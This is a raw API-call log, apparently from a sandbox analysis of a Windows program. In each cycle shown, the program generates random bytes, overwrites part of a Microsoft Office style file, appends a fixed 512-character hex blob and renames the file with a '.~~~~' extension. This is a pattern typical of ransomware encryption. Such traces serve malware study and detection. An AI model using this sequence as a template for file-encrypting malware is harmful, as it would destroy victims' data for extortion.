	[0133.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2901380 | out: hHeap=0x300000) returned 1
	[0133.278] GetLastError () returned 0x0
	[0133.278] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.279] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.279] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.280] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25326972444) returned 1
	[0133.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8e34470, dwHighDateTime=0x1d60e1e)) 
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x2901380
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809fb0
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809fb0 | out: hHeap=0x300000) returned 1
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.280] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.281] GetLastError () returned 0x0
	[0133.281] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.281] GetLastError () returned 0x0
	[0133.283] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff602, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.283] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x9fe, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x9fe, lpOverlapped=0x0) returned 1
	[0133.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.286] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.286] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.286] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.286] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.287] CloseHandle (hObject=0x114) returned 1
	[0133.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2801498
	[0133.287] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css.~~~~")) returned 1
	[0133.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801498 | out: hHeap=0x300000) returned 1
	[0133.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2901380 | out: hHeap=0x300000) returned 1
	[0133.289] GetLastError () returned 0x0
	[0133.333] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.334] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.334] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.334] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25332445504) returned 1
	[0133.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8ea6890, dwHighDateTime=0x1d60e1e)) 
	[0133.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28241d8
	[0133.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28241d8 | out: hHeap=0x300000) returned 1
	[0133.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.335] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.335] GetLastError () returned 0x0
	[0133.336] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.336] GetLastError () returned 0x0
	[0133.337] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.337] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xe9, lpOverlapped=0x0) returned 1
	[0133.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.340] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.340] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.340] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.340] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.340] CloseHandle (hObject=0x104) returned 1
	[0133.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x29d6e28
	[0133.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif.~~~~")) returned 1
	[0133.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d6e28 | out: hHeap=0x300000) returned 1
	[0133.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.342] GetLastError () returned 0x0
	[0133.343] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.344] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.344] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.344] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25333435011) returned 1
	[0133.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8ecc9f0, dwHighDateTime=0x1d60e1e)) 
	[0133.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824210
	[0133.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824210 | out: hHeap=0x300000) returned 1
	[0133.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.345] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.345] GetLastError () returned 0x0
	[0133.345] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.346] GetLastError () returned 0x0
	[0133.347] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff296, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.348] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd6a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd6a, lpOverlapped=0x0) returned 1
	[0133.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.350] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.350] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.350] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.350] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.350] CloseHandle (hObject=0x104) returned 1
	[0133.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802c08
	[0133.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css.~~~~")) returned 1
	[0133.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802c08 | out: hHeap=0x300000) returned 1
	[0133.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.352] GetLastError () returned 0x0
	[0133.353] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.354] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.354] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.354] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25334632279) returned 1
	[0133.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8ecc9f0, dwHighDateTime=0x1d60e1e)) 
	[0133.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38ca48
	[0133.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca48 | out: hHeap=0x300000) returned 1
	[0133.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.357] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.358] GetLastError () returned 0x0
	[0133.358] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.358] GetLastError () returned 0x0
	[0133.360] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffffcd1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.360] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x32f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x32f, lpOverlapped=0x0) returned 1
	[0133.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.363] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.363] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.363] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.363] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.364] CloseHandle (hObject=0x104) returned 1
	[0133.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f12f8
	[0133.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif.~~~~")) returned 1
	[0133.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f12f8 | out: hHeap=0x300000) returned 1
	[0133.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.366] GetLastError () returned 0x0
	[0133.367] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.368] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.368] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.368] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25335818471) returned 1
	[0133.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8ef2b50, dwHighDateTime=0x1d60e1e)) 
	[0133.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824248
	[0133.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824248 | out: hHeap=0x300000) returned 1
	[0133.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.369] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.369] GetLastError () returned 0x0
	[0133.369] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.369] GetLastError () returned 0x0
	[0133.436] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff966d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.437] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x6993, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x6993, lpOverlapped=0x0) returned 1
	[0133.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.439] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.440] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.440] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.440] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.440] CloseHandle (hObject=0x104) returned 1
	[0133.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a72a0
